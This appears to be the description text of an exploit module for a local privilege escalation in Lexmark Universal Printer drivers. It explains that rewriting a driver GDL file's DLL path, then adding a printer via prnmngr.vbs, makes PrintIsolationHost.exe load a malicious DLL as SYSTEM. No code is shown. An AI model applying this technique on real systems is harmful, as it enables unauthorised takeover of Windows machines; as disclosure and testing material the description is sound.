          Various Lexmark Universal Printer drivers as listed at advisory TE953
          allow low-privileged authenicated users to elevate their privileges to
          SYSTEM on affected Windows systems by modifying the XML file at
          C:\ProgramData\<driver name>\Universal Color Laser.gdl
          to replace the DLL path to unires.dll with a malicious DLL path.

          When C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs is
          then used to add the printer to the affected system, PrintIsolationHost.exe,
          a Windows process running as NT AUTHORITY\SYSTEM, will inspect the
          C:\ProgramData\<driver name>\Universal Color Laser.gdl file and will
          load the malicious DLL from the path specified in the file. This which will
          result in the malicious DLL executing as NT AUTHORITY\SYSTEM.

          Once this module is finished, it will use the prnmngr.vbs script
          to remove the printer it added.
